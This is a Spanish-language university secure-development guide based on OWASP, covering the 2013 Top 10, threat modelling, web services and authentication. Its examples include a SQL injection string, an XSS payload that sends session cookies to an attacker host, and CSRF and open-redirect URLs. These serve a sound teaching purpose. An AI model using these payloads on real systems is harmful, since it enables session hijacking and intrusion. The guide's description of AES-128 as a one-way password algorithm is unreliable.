GUÍA DE SEGURIDAD PARA SISTEMAS DE INFORMACIÓN Basada en OWASP

(1)

1

GUÍA DE SEGURIDAD PARA SISTEMAS DE INFORMACIÓN

Basada en OWASP

(2)

CONTENIDO

INTRODUCCIÓN 4

1. OBJETIVO 4

2. ALCANCE 5

3. OWASP (The Open Web Application Security Project) 5

4. RIESGOS DE SEGURIDAD EN APLICACIONES. 5

4.1. LOS DIEZ RIESGOS MÁS CRÍTICOS EN LAS APLICACIONES WEB

(OWASP TOP-10 - 2013) 5

5. DESARROLLO 12

5.1. MODELADO DE RIESGO DE AMENAZA 12

5.1.1. Identificar Objetivos de Seguridad. 12

5.1.2. Visión general de la aplicación 13

5.1.3. Descomponer la aplicación 13

5.1.4. Documentar las amenazas conocidas 13

5.2. SERVICIOS WEB 13

5.3. AUTENTICACIÓN 15

5.3.1. Técnicas de autenticación Web comunes 15

5.4. AUTORIZACIÓN 18

5.5. MANEJO DE SESIONES 20

5.6. VALIDACIÓN DE DATOS 22

5.7. INTERPRETE DE INYECCIÓN 23

5.8. MANEJO DE ERRORES, AUDITORIA Y GENERACIÓN DE LOGS 26

5.9. DESBORDAMIENTO DE MEMORIA 28

5.10. CONFIGURACIÓN 28

5.11. ATAQUES DE DENEGACIÓN DE SERVICIO 29

6. PRUEBAS 30

6.1. ¿QUÉ ES LA COMPROBACIÓN? 30

6.2. ¿CUÁNDO COMPROBAR? 31

6.3. TÉCNICAS DE COMPROBACIÓN 31

6.3.1. Inspecciones y Revisiones Manuales 31

6.3.2. Modelado de Amenazas 32

(3)

3

6.3.3. Revisión de Código 33

6.3.4. Pruebas de Intrusión 34

6.4. ENTORNO DE PRUEBAS OWASP 37

6.4.1. Antes de empezar el desarrollo 38

6.4.2. Durante el diseño y definición 38

6.4.3. Durante el desarrollo: 39

6.4.4. Durante la implementación: 40

6.4.5. Mantenimiento y operaciones: 40

7. REVISIÓN DE CÓDIGO 41

7.1. AUTENTICACIÓN 41

7.2. AUTORIZACIÓN 41

7.3. GESTIÓN DE COOKIES 41

7.4. VALIDACIÓN DE ENTRADA DE DATOS 42

7.5. GESTIÓN DE ERRORES / FUGA DE INFORMACIÓN 42

7.6. LOG / AUDITORÍA 42

7.7. CIFRADO DE DATOS 43

7.8. ENTORNO DE CÓDIGO SEGURO 43

7.9. GESTIÓN DE SESIONES (LOGIN / LOGOUT) 43

REFERENCIAS 44

(4)

FECHA: Septiembre 15 de 2014 CLASIFICACIÓN: Uso Interno

ELABORADO POR: Evelin Aidee Barón Huertas

REVISADO POR Comité de Calidad Proceso Gestión de Recursos Informáticos.

INTRODUCCIÓN

Para asegurar que la seguridad de la información sea un componente integral del servicio Desarrollo de aplicaciones, es necesario incluir en el Procedimiento de Incorporación de Sistemas de Información(A-RI-P01), que hacen parte de los procedimientos del Proceso del Gestión de Recursos Informáticos, los cuales integran el sistema de gestión de la seguridad de la información y el Sistema de Gestión de Servicios de la Universidad Pedagógica y Tecnológica de Colombia, contempla la presente guía para tener en cuenta en el procedimiento nombrado y particularmente en el instructivo de desarrollo (A-RI- P01-I01) y la declaración de aplicabilidad Dominio A 14.1. Requisitos de seguridad de los sistemas de información.

El documento está dividido en siete partes fundamentales, en primer lugar se presenta el objetivo general de la presente guía, a continuación el alcance que tiene para su desarrollo.

En tercer lugar se hace una pequeña introducción de lo que es OWASP, el proyecto en el cual está basado este documento.

La cuarta parte hace referencia a los riesgos más comunes de las aplicaciones, teniendo en cuenta el Top 10 de OWASP.

En quinta instancia se presenta de manera resumida la guía para construir aplicaciones y servicios web seguros de OWASP, guía para tener en cuenta en la fase de desarrollo y diseño de aplicaciones.

En sexto lugar se presenta brevemente la guía de pruebas OWASP, guía que se recomienda mirar en detalle por el tester a la hora de estar haciendo pruebas sobre una aplicación.

Finalmente, y teniendo en cuenta la guía para la revisión de código de OWASP, se presenta de manera general el contenido de dicha guía.

1. OBJETIVO

Este documento sirve de apoyo para la construcción de aplicaciones seguras y confiables en el Grupo de Organización y Sistemas, busca delinear que la

(5)

5 seguridad de la información esté integrada con los sistemas y se diseñe e implemente dentro del ciclo de vida del sistema.

2. ALCANCE

Esta guía aplica al procedimiento de Incorporación de Sistemas de Información (A-RI-P01) del proceso de Gestión de Recursos Informáticos (A-RI), y específicamente al Instructivo para el desarrollo (A-RI-P01-I01). Y al dominio A 14.1. Requisitos de Seguridad de los Sistemas de Información de la Declaración de Aplicabilidad.

3. OWASP (The Open Web Application Security Project)

El Proyecto abierto de seguridad de aplicaciones web es una comunidad que busca facultar a las organizaciones a desarrollar, adquirir y mantener aplicaciones web seguras y confiables, brindando una serie de herramientas como libros, foros, guías entre otros, todos estos, gratuitos y abiertos para el interesado. Su único objetivo es asegurar el éxito de un sistema a largo plazo.

4. RIESGOS DE SEGURIDAD EN APLICACIONES.

“El riesgo es la posibilidad de que una amenaza se produzca, dando lugar a un ataque al sistema”

Todas las aplicaciones están expuestas a ataques es por esto que el software inseguro se convierte en un reto técnico que busca disminuir los riesgos y crear aplicaciones seguras que sean capaces de controlarlos.

4.1. LOS DIEZ RIESGOS MÁS CRÍTICOS EN LAS APLICACIONES WEB (OWASP TOP-10 - 2013)

Los escenarios de amenazas para aplicaciones cambian constantemente, por eso OWASP presenta el top 10, de los riesgos de seguridad que puede sufrir una aplicación. Se presentan a continuación con el fin de que las personas que hacen parte del grupo de desarrollo identifiquen los riesgos más críticos a los que se ven enfrentados los sistemas que se desarrollan y los que están actualmente en producción y se tome conciencia acerca de la seguridad en las aplicaciones.

(6)

LOS DIEZ RIESGOS MAS CRÍTICOS EN APLICACIONES WEB INYECCIÓN

Definición ¿Cómo descubrirlo? ¿Cómo prevenirlo?

Las fallas de Inyección, tales como SQL, OS, y LDAP, ocurren cuando datos no confiables son enviados a un intérprete como parte de un comando o consulta.

Los datos hostiles del atacante pueden engañar al intérprete en ejecutar comandos no intencionados o acceder a datos no autorizados.

La manera de averiguar si la aplicación es vulnerable a inyecciones es verificar que en todo uso de intérpretes se separa la información no confiable del comando o consulta. Esto se hace verificando el código para ver si la aplicación usa intérpretes de manera segura.

Existen herramientas de análisis de código que ayudan a ver como se utilizan los intérpretes y seguir el flujo de datos a través de la aplicación. Los testers pueden validar estos problemas al crear pruebas que confirmen la vulnerabilidad

Para evitar las inyecciones se requiere mantener los datos no confiables separados de los comandos y consultas. Para esto OWASP sugiere tres opciones: - Usar una API segura que evite el uso de intérpretes o provea una interface parametrizada.

-Si no está disponible una API parametrizada, debe codificar cuidadosamente los caracteres especiales.

-Validar las entradas positivas o de lista blanca, pero no es una defensa integral

Impacto Ejemplo

Una inyección puede causar pérdida o corrupción de datos, perdida de responsabilidad, o negación de acceso. Algunas veces, una inyección puede llevar al compromiso total del servidor.

Escenario #1: La aplicación usa datos no confiables en la construcción de la siguiente instrucción SQL vulnerable:

String query="SELECT * FROM accounts WHERE custID='"+request.getParameter("id") +"'";

El atacante puede modificar el parámetro ‘id’ en su Navegador para enviar: 'or '1'='1. Por ejemplo:

hvp://example.com/app/accountView?id=' or '1'='1 PÉRDIDA DE AUTENTICACIÓN Y GESTIÓN DE SESIONES

Las funciones de autenticación y gestión de sesiones de las aplicaciones, son frecuentemente implementadas incorrectamente, permitiendo a los atacantes comprometer contraseñas, claves, token de sesiones, o explotar otras fallas de implementación para asumir la identidad de otros usuarios.

Los activos de gestión de sesiones como credenciales e identificadores de sesión pueden ser vulnerables si:

-Las credenciales no están protegidas cuando se almacenan utilizando un hash o cifrado.

-Se pueden adivinar o sobrescribir las credenciales a través de funciones débiles de gestión de la sesión.

-Los ID de sesión son expuestos en la URL

Se debe facilitar a los desarrolladores un único conjunto de controles de autenticación y gestión de sesiones fuerte. Estos controles deberán conseguir:

-Cumplir con todos los requisitos de autenticación y control de sesiones.

-Tener una interfaz simple para los desarrolladores

Este tipo de vulnerabilidades puede permitir que algunas o todas las cuentas sean atacadas. Una vez que el ataque resulte exitoso, el

Aplicación de reserva de vuelos que soporta re‐escritura de URL poniendo los ID de sesión en la propia dirección:

(7)

atacante podrá realizar cualquier acción. Las cuentas privilegiadas son objetivos prioritarios.

hvp://example.com/sale/

saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?

dest=Hawaii

Un usuario autentificado en el sitio quiere mostrar la oferta a sus amigos. Envía por correo electrónico el enlace anterior, sin ser consciente de que está proporcionando su ID de sesión. Cuando sus amigos utilicen el enlace utilizaran su sesión y su tarjeta de crédito.

SECUENCIA DE COMANDOS EN SITIOS CRUZADOS (XSS)

Las fallas XSS ocurren cada vez que una aplicación toma datos no confiables y los envía al navegador web sin una validación y codificación apropiada. XSS permite a los atacantes ejecutar secuencia de comandos en el navegador de la víctima los cuales pueden secuestrar las sesiones de usuario, destruir sitios web, o dirigir al usuario a un sitio malicioso.

La aplicación es vulnerable a este tipo de riesgo si no se asegura que todas las entradas de datos ingresadas por el usuario son codificadas adecuadamente, o si no se verifica que los datos al momento de ingreso sean seguros antes de ser incluidos en la página de salida. Haciendo uso de herramientas automatizadas

Prevenir XSS requiere mantener los datos no confiables separados del contenido activo en el navegador. OWASP recomienda:

-Codificar los datos no confiables basados en el contexto HTML donde serán ubicados.

-Validación de entradas positiva o de lista blanca, esta validación debe tener en cuenta los caracteres, el formato y reglas de negocio que debe cumplir el dato.

-Considerar utilizar políticas de seguridad de contenido (CSP) para defender contra XSS todo el sitio.

El atacante puede ejecutar secuencia de comandos en el navegador de la víctima para secuestrar las sesiones de usuario, alterar la apariencia del sitio web, insertar código hostil, redirigir usuarios, secuestrar el navegador de la víctima utilizando malware, etc.

La aplicación utiliza datos no confiables en la construcción del siguiente código HTML sin validarlos o codificarlos:

(String) page += "<input name='creditcard' type='TEXT‘ value='"+

request.getParameter("CC") +"'>";

El atacante modifica el parámetro “CC” en el navegador:

'><script>document.locaCon=

'http://www.avacker.com/cgi--‐bin/cookie.cgi?

foo='+document.cookie</script>'

Esto causa que el identificador de sesión de la víctima sea enviado al sitio web del atacante, permitiendo al atacante cambiar la sesión del usuario.

REFERENCIA DIRECTA INSEGURA A OBJETOS

Una referencia directa a objetos ocurre cuando un desarrollador

Verificar que todas las referencias a objetos tienen las protecciones apropiadas. Para conseguirlo OWASP considera:

Es necesario seleccionar una forma de proteger los objetos accesibles por cada usuario.

(8)

expone una referencia a un objeto de implementación interno, tal como un fichero, directorio o base de datos. Los atacantes pueden manipular estas referencias para acceder a datos no autorizados, sin un chequeo de control de acceso u otra protección.

-Para referencias directas a recursos restringidos, la aplicación necesitaría verificar si el usuario está autorizado a acceder al recurso en concreto que solicita.

-Si la referencia es una referencia indirecta, la correspondencia con la referencia directa debe ser limitada a valores autorizados para el usuario en concreto

-Utilizar referencias indirectas por usuario o sesión. Esto evitaría que los atacantes accedieran directamente a recursos no autorizados.

-Comprobar el acceso. Cada uso de una referencia directa a un objeto de una fuente que no es de confianza debe incluir una comprobación de control de acceso para asegurar que el usuario está autorizado a acceder a objetos solicitados.

Este riesgo puede comprometer toda la información que pueda ser referida por parámetros. A menos que el espacio de nombres resulte escaso, para un atacante resulta sencillo acceder a todos los datos disponibles de ese tipo.

La aplicación utiliza datos no verificados en una llamada SQL que accede a la información sobre la cuenta:

String query ="SELECT * FROM accts WHERE account = ?";

PreparedStatement pstmt = connecCon.prepareStatement(query ,

…);

pstmt.setString(1, request.getparameter("acct"));

ResultSet results =pstmt.executeQuery();

Si el atacante modifica el parámetro “acct” en su navegador para enviar cualquier número de cuenta que quiera. Si esta acción no se verifica, el atacante podría acceder a cualquier cuenta de usuario, en vez de a su cuenta de cliente correspondiente.

hvp://example.com/app/accountInfo?acct=notmyacct CONFIGURACIÓN DE SEGURIDAD INCORRECTA

Tener definida e implementada una configuración segura para la aplicación, marcos de trabajo, servidor de aplicaciones, servidor web, base de datos y plataforma, significa que se cuenta con una seguridad buena. Todas esas configuraciones deben estar definidas, implementadas y mantenidas, debido a que por lo general no son seguras por defecto. Esto incluye mantener todo el software actualizado, incluidas las librerías de código

Analizar si la aplicación cuenta con el apropiado fortalecimiento en seguridad a través de todas las capas que la componen incluso:

-Software actualizados( Servidores, DBMS, aplicaciones, librerías) -Características instaladas o habilitadas innecesariamente -Cuentas por defecto y contraseñas habilitadas sin cambiar -Información y manejo de errores

OWASP recomienda establecer lo siguiente:

-Un proceso rápido, fácil y repetible de fortalecimiento, para obtener un entorno apropiadamente asegurado.

-Un proceso para mantener y desplegar las nuevas actualizaciones y parches de software para cada entorno.

-Una arquitectura fuerte de aplicación.

-Considerar ejecutar escaneos y auditorias periódicamente.

Frecuentemente esta vulnerabilidad da a los atacantes acceso no autorizado a algunas funcionalidades o datos del sistema.

Ocasionalmente provocan que el sistema se comprometa totalmente.

La consola de administrador del servidor de aplicaciones se instaló automáticamente y no se ha eliminado. Las cuentas por defecto no se han modificado. El atacante descubre las páginas por defecto de administración y se conecta con las contraseñas por defecto.

(9)

utilizadas por la aplicación.

EXPOSICIÓN DE DATOS SENSIBLES

Se refiere a la protección incorrecta de datos críticos tales como credenciales de autenticación. Muchas aplicaciones no protegen adecuadamente este tipo de datos sensibles. Los atacantes pueden usar dichos datos para llevar a cabo fraudes, robos de identidad u otros delitos.

Se debe determinar el conjunto de datos sensibles que requieran protección extra, como contraseñas, información personal etc. Para estos datos OWASP plantea las siguientes preguntas:

-¿Se almacena en texto claro a largo plazo, incluyendo sus respaldos?

-¿Se transmite en texto claro, interna o externamente?

-¿Se utiliza algún algoritmo criptográfico débil/antiguo?

-¿Se utilizan tanto cabezales como directivas de seguridad del navegador cuando son enviados o provistos por el mismo?

Para los datos sensibles se recomienda como minimo lo siguiente:

-Considerar las amenazas de las cuales proteger los datos -No almacenar datos sensibles innecesariamente

-Asegurarse de aplicar algoritmos fuertes de cifrado y estándares como claves fuertes

-Deshabilitar el autocompletar en los formularios que recolecten datos sensibles

Los fallos frecuentemente comprometen todos los datos que deberían estar protegidos. Típicamente, esta información incluye datos sensibles.

Una aplicación cifra los números de tarjetas de crédito en una base de datos utilizando cifrado automático de la base de datos. Esto significa que también se descifra automáticamente cuando se recuperan, permitiendo por medio de una inyección de SQL recuperar números de tarjetas de texto claro. El sistema deberia cifrar dichos números.

AUSENCIA DE CONTROL DE ACCESO A FUNCIONES

La mayoría de aplicaciones verifican los derechos de acceso a nivel de función antes de hacer visible en la misma interfaz de usuario. Este riesgo corresponde a la falta de controles desde el servidor, permitiendo a un posible atacante acceder a funciones a las que no debería

La manera de descubrir si una aplicación falla en restringir adecuadamente el acceso a nivel de funcionalidades es verificar cada funcionalidad de la aplicación como:

-¿La interfaz de usuario muestra la navegación hacia funcionalidades no autorizadas?

-¿Existe autenticación del lado del servidor, o se han perdido las comprobaciones de autorización?

-¿Los controles del lado del servidor se basan exclusivamente en la información proporcionada por el atacante?

Las aplicaciones deberían tener un módulo de autorización consistente y fácil de analizar, invocado desde todas las funciones del negocio -El proceso para gestión de accesos y permisos debería ser actualizable y auditable fácilmente.

-La implementación del mecanismo debería negar todo acceso por defecto.

-Si la función forma parte de un workflow, verifique y asegúrese que las condiciones de flujo se encuentren en el estado apropiado

Estas vulnerabilidades permiten el acceso no autorizado de los atacantes a funciones del sistema. Las funciones administrativas son un objetivo clave de este tipo de ataques.

El atacante forza la navegación hacia las URLs objetivo. La siguiente URL requiere autenticación. Los derechos de administrador también son requeridos para el acceso a la página “admin_getappInfo”

hvp://example.com/app/getappInfo

(10)

hvp://example.com/app/admin_getappInfo

Si un usuario no autenticado puede acceder a ambas páginas, eso es una vulnerabilidad. Si un usuario autenticado, no administrador puede acceder a “admin_getappInfo” se considera una vulnerabilidad

FALSIFICACIÓN DE PETICIONES EN SITIOS CRUZADOS (CSRF)

Un ataque CSRF obliga al navegador de una víctima autenticada a enviar una petición HTTP falsificada, incluyendo la sesion del usuario y cualquier otra información incluida automáticamente a una aplicación web vulnerable. Esto le permite a un atacante generar peticiones sobre una aplicación vulnerable sin la autorización apropiada.

Para conocer si una aplicación es vulnerable, verifique la ausencia de un token impredecible en cada enlace y formulario. En dicho caso, un atacante puede falsificar peticiones maliciosas. Se debe centrar en los enlaces y formularios que invoquen funciones que permitan cambios de estados, debido a que estos son los objetivos más importantes del CSRF. También verificar las operaciones de múltiples pasos, porque no son inmunes a este tipo de ataques.

Por lo general su prevención requiere la inclusión de un token no predecible en cada solicitud HTTP. Estos deben ser únicos por cada sesión de usuarios.

La opción que se recomienda es incluir un token único en un campo oculto, pero también puede ser incluido en la propia URL, o parámetro de la misma.

Los atacantes pueden cambiar cualquier dato que la víctima este autorizada a cambiar o a cualquier funcionalidad donde este autorizada, incluyendo registro, cambios de estado o cierre de sesión.

La aplicación permite al usuario enviar una petición de cambio de estado no incluya nada secreto. Por ejemplo:

hvp://example.com/app/transferFunds?

amount=1500&desCnaConAccount=4673243243

De esta forma, el atacante construye una petición que transferirá el Dinero de la cuenta de la víctima hacia su cuenta.

USO DE COMPONENTES CON VULNERABILIDADES CONOCIDAS

Corresponde a la explotación de librerías, frameworks y otros componentes, que funcionan casi siempre con todos los privilegios, por esto son vulnerables por parte de un atacante con el fin de obtener acceso o combinar con otros ataques

Para determinar si existe vulnerabilidad se necesita buscar en las bases de datos, así como también mantenerse al tanto de la lista de correos del proyecto y anuncios de cualquier cosa que pueda ser vulnerable, si uno de los componentes tiene vulnerabilidad, se debe evaluar cuidadosamente si es o no vulnerable revisando si su código utiliza la parte del componente vulnerable y si el fallo puede tener un impacto considerable.

No usar componentes que no ha codificado. Los proyectos de software deberían tener un proceso para:

-Identificar todos los componentes y la versión que se esta utilizando.

-Revisar la seguridad del componente en base de datos publicas -Establecer políticas de seguridad que regulen el uso de componentes.

-Agregar capas de seguridad alrededor del componente.

El rango completo de debilidades incluye inyección, control de acceso roto, XSS, etc. El impacto puede ser desde mínimo hasta apoderamiento completo del equipo y compromiso de los datos.

Los componentes vulnerables pueden causas riesgos inimaginables, desde trivial a malware sofisticado diseñado para un objetivo especifico.

Casi siempre los componentes tienen todos los privilegios de la aplicación, por esto cualquier falla en un componente puede dar

(11)

problemas.

REDIRECCIONES Y REENVÍOS NO VALIDADOS

Frecuentemente las aplicaciones web redirigen y reenvían a los usuarios hacia otras páginas o sitios web utilizando datos no confiables para determinar la página de destino. Es allí donde los atacantes aprovechan para redirigir a las víctimas a sitios de phishing o que contengan malware

La forma de determinar si una aplicación dispone de redirecciones y re-envíos no validados es:

-Revisar el código para detectar el uso de redirecciones y reenvíos.

-Recorrer la aplicación para observar si genera cualquier redirección -Se deben analizar todos los parámetros, si el código no se encuentra disponible.

Para hacer un uso seguro de redirecciones y reenvíos OWASP recomienda.

-Evitar su uso

-No involucrar parámetros manipulables por el usuario para definir el destino

-Validar campos, y autorización del usuario

Estas redirecciones pueden intentar instalar código malicioso o engañar a las víctimas para que revelen contraseñas u otra información sensible. El uso de reenvíos inseguros puede permitir evadir el control de acceso.

La aplicación tiene una página llamada “redirect.jsp” que recibe un único parámetro llamado “url”. El atacante compone una URL maliciosa que redirige a los usuarios a una aplicación que realiza phishing e instala código malicioso.

hvp://www.example.com/redirect.jsp?url=evil.com

(12)

5. DESARROLLO

OWASP proporciona “Una guía para construir aplicaciones y servicios web seguros” orientada a desarrolladores, la cual ofrece claves de las normas COBIT y parte de la norma ISO 17799, y se presenta de manera breve a continuación.

5.1. MODELADO DE RIESGO DE AMENAZA

OWASP propone el método más importante de mitigación en el desarrollo de aplicaciones Web denominado Riesgo de Amenazas. Si se analiza detenidamente y se seleccionan los controles a través del modelado de riesgo de amenazas, el resultado final será una implementación de sistemas que demuestran reducción de los riesgos de negocio, de fraudes y pérdidas y adicionalmente un aumento de la seguridad.

Durante el diseño de su aplicación, es esencial que la diseñe utilizando controles evaluados de riesgo de amenaza. OWASP recomienda el modelado de amenaza de Microsoft, el cual propone cinco pasos (Figura 1) en el proceso de modelado que se explican a continuación.

Figura 1. Flujo del Modelo de Amenaza

 Fuente: OWASP, “Una Guía para Construir Aplicaciones y Servicios Web Seguros.”



5.1.1. Identificar Objetivos de Seguridad.

El líder del proceso en coordinación con el equipo de desarrollo necesita entender los probables objetivos de seguridad. Los objetivos de seguridad en aplicaciones necesitan ser divididos en:

(13)

13

 Identidad

 Reputación

 Financiero

 Privacidad

 Disponibilidad de garantías

Lo anterior da una idea de algunas de las decisiones de riesgo de negocio que lleva a la construcción de controles técnicos. También se puede orientar por:

 Leyes

 Regulaciones

 Estándares (como ISO 17799)

 Acuerdos Legales

 Políticas de Seguridad de la información 5.1.2. Visión general de la aplicación

Después de definir los objetivos, la aplicación deberá ser analizada para determinar: Componentes, flujos de datos, límites de confianza, etc. Para esta actividad se debe basar en la documentación de arquitectura y diseño.

5.1.3. Descomponer la aplicación

Una vez que la arquitectura de la aplicación es entendida, la aplicación necesita ser descompuesta, esto significa que las características y módulos que tienen un impacto de seguridad necesitan ser descompuestas.

5.1.4. Documentar las amenazas conocidas

En esta actividad se debe concentrar en los riesgos que son conocidos, que pueden ser fácilmente demostrados utilizando herramientas o el seguimiento de errores. Cuando documente una amenaza, Microsoft sugiere dos enfoques diferentes. Uno es un gráfico de amenaza y el otro es simplemente una lista estructurada.

5.2. SERVICIOS WEB

En esta sección OWASP detalla los problemas comunes que los desarrolladores encaran y los métodos para resolver esos problemas. Los servicios Web se ven como aplicaciones web especializadas que difieren principalmente en la capa de presentación. Mientras que las aplicaciones web son típicamente basadas en HTML, los servicios web son basados en XML.

Los servicios Web típicamente representan una interfaz pública funcional, que se llama de forma programática, mientras que las aplicaciones Web tienden a lidiar con un conjunto de características más rico y son dirigidas al contenido en la mayoría de las veces.

(14)

Asegurando los servicios Web: Los servicios Web, como otras aplicaciones distribuidas, requieren protección en múltiples niveles. Estas tareas son a nivel de infraestructura, teóricamente lo debe hacer el administrador del sistema.

Seguridad en la comunicación: las fallas más comunes que se pueden presentar cuando se usa un canal seguro son:

 Solo provee seguridad “punto a punto”

 Problemas de almacenamiento

 Falta de interoperabilidad

Pasando las credenciales: Para establecer el intercambio de credenciales y la autenticación en servicios web los desarrolladores deben resolver:

 Dado que los mensajes de SOAP son basados en XML, todas las credenciales que se pasen deben ser convertidas a formato texto.

 Pasar las credenciales conlleva un riesgo inherente a su descubrimiento, ya sea por “olerlos” mientras están siendo transmitidos en la red o al analizar los registros de eventos del servidor

Asegurarse de la frecura del mensaje: Las medidas usuales para protegerse contra mensajes re enviados son usar identificadores únicos en los mensajes y llevar registro de los procesados o usar un tiempo de validez relativamente corto

Proteger la integridad del mensaje: Cuando un mensaje es recibido por un servicio Web, debe siempre preguntarse 2 cosas: “confiar en el emisor“,

“confiar en el mensaje creado”. El servidor debe asegurarse que el mensaje que está viendo fue, de hecho, enviado por el emisor y que no fue alterado en el camino

Protegiendo la confidencialidad del mensaje: Frecuentemente, no es suficiente con asegurar la integridad, en muchos casos también es deseable que nadie pueda ver los datos que son pasados y/o almacenados localmente.

En cualquier caso, algún tipo de cifrado es requerido para encubrir el contenido

Control de acceso: Después de que el mensaje ha sido recibido y validado exitosamente, el servidor debe:

• Saber quién está pidiendo la operación (Identificación)

• Confía en la identidad que el emisor dice tener (Autentificación)

• Permitirá al emisor realizar esta operación (Autorización)

Auditoria: Una tarea común, típicamente requerida para las auditorias, es reconstruir la cadena de eventos que llevó a un problema en particular.

Usualmente, esto se logra al guardar registro de eventos en el servidor en una ubicación segura, disponible solo para los administradores de TI y los auditores de sistema, para crear lo que comúnmente se conoce como un rastro de auditoria. Los servicios web no son excepción a esta práctica.

(15)

15 5.3. AUTENTICACIÓN

El objetivo de la autenticación según OWASP es proveer servicios de autenticación segura a las aplicaciones Web, mediante:

 Vincular una unidad del sistema a un usuario individual mediante el uso de una credencial

 Proveer controles de autenticación razonables de acuerdo al riesgo de la aplicación.

 Denegar el acceso a atacantes que usan varios métodos para atacar el sistema de autenticación.

OWASP presenta en su guía las mejores prácticas en cuanto a la seguridad en la autenticación:

 La autenticación es solo tan fuerte como sus procesos de administración de usuarios

 Use la forma más apropiada de autenticación adecuada para su clasificación de bienes

 Re-autenticar al usuario para transacciones de alto valor y acceso a áreas protegidas

 Autenticar la transacción, no el usuario

 Las contraseñas son trivialmente rotas y no son adecuadas para sistemas de alto valor

5.3.1. Técnicas de autenticación Web comunes

Autenticación básica y segura (Digest): Casi todos los servidores Web y de aplicación soportan el uso de autenticación básica y digest. Esto requiere que el explorador Web presente un cuadro de diálogo para obtener el nombre de usuario y contraseña, y enviarlos al servidor Web, el cual la procesará contra su propia base de datos de usuario, o en el caso de IIS, con Active Directory.

La razón principal en contra del uso de autenticación básica o digest es debido a:

 Transmisión insegura de credenciales

 Ambas formas de autenticación sufren de ataques de replay y man-in- the-middle

 Ambas requieren SSL para proporcionar alguna forma de confidencialidad e integridad

 No proporciona una gran cantidad de control a la aplicación final.

(16)

Autenticación basada en formas: La autenticación basada en formas provee al diseñador de la aplicación Web el mayor control sobre la interfaz de usuario, y de ahí que es ampliamente usada. La autenticación basada en formas requiere que la aplicación haga una buena cantidad de trabajo para implementar autenticación y autorización. Si es posible, si elige usar autenticación basada en formas, trate de re-usar un componente de control de acceso confiable en lugar de escribir el suyo.

La autenticación basada en formas sufre de:

 Ataques de replay

 Ataques de man-in-the-middle

 Credenciales en texto claro

 Ataques de engaño (luring)

 Controles de contraseñas débiles

Autenticación integrada: La autenticación integrada es más comúnmente vista en aplicaciones de Intranet usando el servidor Web Microsoft IIS y aplicaciones ASP.NET. La mayoría de los demás servidores Web no ofrecen esta alternativa. Si está desarrollando una aplicación para Intranet y su entorno de desarrollo soporta autenticación integrada, debería usarla. Significa menos trabajo para usted para desarrollar controles de autenticación y autorización, una credencial menos para que recuerden los usuarios, y puede re-utilizar infraestructura de autenticación y autorización pre-existente.

Autenticación basada en certificado: La autenticación basada en certificado es ampliamente implementada en muchos servidores Web y de aplicación. El sitio Web expide certificados (o intenta confiar en certificados emitidos externamente). Los certificados públicos son cargados en la base de datos de autenticación del servidor, y comparados con las sesiones entrantes del navegador. Si los certificados coinciden, el usuario es autenticado.

Hay algunos inconvenientes para el acceso basado en certificado:

 Muchos usuarios comparten las PC’s y necesitan traer sus certificados con ellos.

 La administración de certificados en un navegador no es trivial en muchos casos

 La revocación certificados con certificados auto emitidos es casi imposible en ambientes de extranet

 Confiar en certificados “privados” de servidores requiere las decisiones de confianza del usuario final.

 El costo de los certificados y su parte en el modelo de negocio de compañías de certificados públicas no está relacionado con el costo de la prestación.

Autenticación fuerte: La autenticación fuerte (como tokens,certificados, etc) proporciona un nivel más alto de seguridad que nombres de usuario y

(17)

17 contraseñas. La forma generalizada de autenticación fuerte es “algo que sabes, algo que tienes”. Por lo tanto, cualquier cosa que requiera un secreto (el “algo que sabes”) y autenticador como un token, llave USB, o certificado (el “algo que tienes”) es un control más fuerte que nombres de usuario y contraseñas (que es solo “algo que sabes”) o biométricos (“algo que eres”).

El navegador recuerda contraseñas: Los navegadores modernos ofrecen la habilidad de administrar la multitud de credenciales almacenándolas de forma insegura en la computadora.

Para evitarlo envíe lo siguiente en cualquier campo de entrada sensitivo, como nombres de usuario, contraseñas, re-validación de contraseñas, tarjetas de crédito y campos CCV, etc:

<form … AUTOCOMPLETE="off"> - para todos los campos de la forma

<input … AUTOCOMPLETE="off"> - para solo un campo

Esto le indica a la mayoría de los navegadores que no almacenen ese campo en la característica de administración de contraseñas.

Elección de nombres de usuario: Si elige un esquena de nombres de usuario que es predecible, es probable que los atacantes puedan realizar una negación de servicio en contra suya. Para protegerse cuando sea posible, permita al usuario a crear su propio nombre de usuario. Los nombres de usuario tienen que ser únicos.

Cambio de contraseñas: Cuando el usuario tiene que recordar una parte de la credencial, a veces es necesario cambiarla, por ejemplo si la contraseña es accidentalmente divulgada a un tercero o el usuario siente que es tiempo de cambiar la contraseña.

Para protegerse de esta vulnerabilidad debe

 Asegure que su aplicación tiene una función para cambiar contraseña.

 La forma debe incluir la contraseña anterior, la contraseña nueva y la confirmación de la nueva contraseña

 Use AUTOCOMPLETE=off para prevenir que los navegadores guarden la contraseña localmente

 Si el usuario ingresa incorrectamente la contraseña anterior varias veces, bloquee la cuenta y elimine la sesión

Contraseñas cortas: Las contraseñas pueden ser obtenidas por fuerza bruta, rainbow cracked (ataques de diccionario pre-computados), o fallar a simples ataques de diccionario. Desafortunadamente, también son el método principal de ingresar usuarios a aplicaciones con todo tipo de riesgos, para protegerse debe.

 Asegure que su aplicación no permita contraseñas en blanco

 Imponga una longitud de contraseña mínima.

 Aliente a los usuarios a usar frases clave grandes

(18)

 Asegure que su aplicación permita frases clave arbitrariamente grandes usando un algoritmo decente de cifrado de una vía, como AES-128 o SHA-256.

Cifrado de contraseñas reversible: Las contraseñas son secretas. No hay razón para descifrarlas baja ninguna circunstancia. El equipo de soporta debe ser capaz de establecer nuevas contraseñas (con una pista de auditoría, obviamente), no leer viejas contraseñas. Por lo tanto, no hay razón para almacenar contraseñas en una forma reversible. para protegerse debe comprender la criptografía detrás del cifrado de contraseñas.

Restablecimiento automático de contraseñas: Los mecanismos de restablecimiento automático de contraseñas son comunes cuando las organizaciones creen que necesitan evitar altos costos de soporte de la autenticación. Desde la perspectiva de la administración de riesgos la funcionalidad de restablecimiento de contraseñas parece aceptable en muchas circunstancias. Sin embargo, la funcionalidad de restablecimiento de contraseñas equivale a un mecanismo secundario mucho más débil. Para evitar esta vulnerabilidad se debe ser cuidadoso cuando se implemente el restablecimiento automático de contraseñas, enviando al usuario un correo, para que quede rastro de auditoria.

Salir: Todas las aplicaciones deben tener un método para salir de la aplicación.

Esto es fundamental para aplicaciones que contengan datos privados e importantes.

5.4. AUTORIZACIÓN

Los objetivos de la autorización son:

 Asegurar que únicamente usuarios autorizados puedan realizar acciones permitidas con su correspondiente nivel de privilegio.

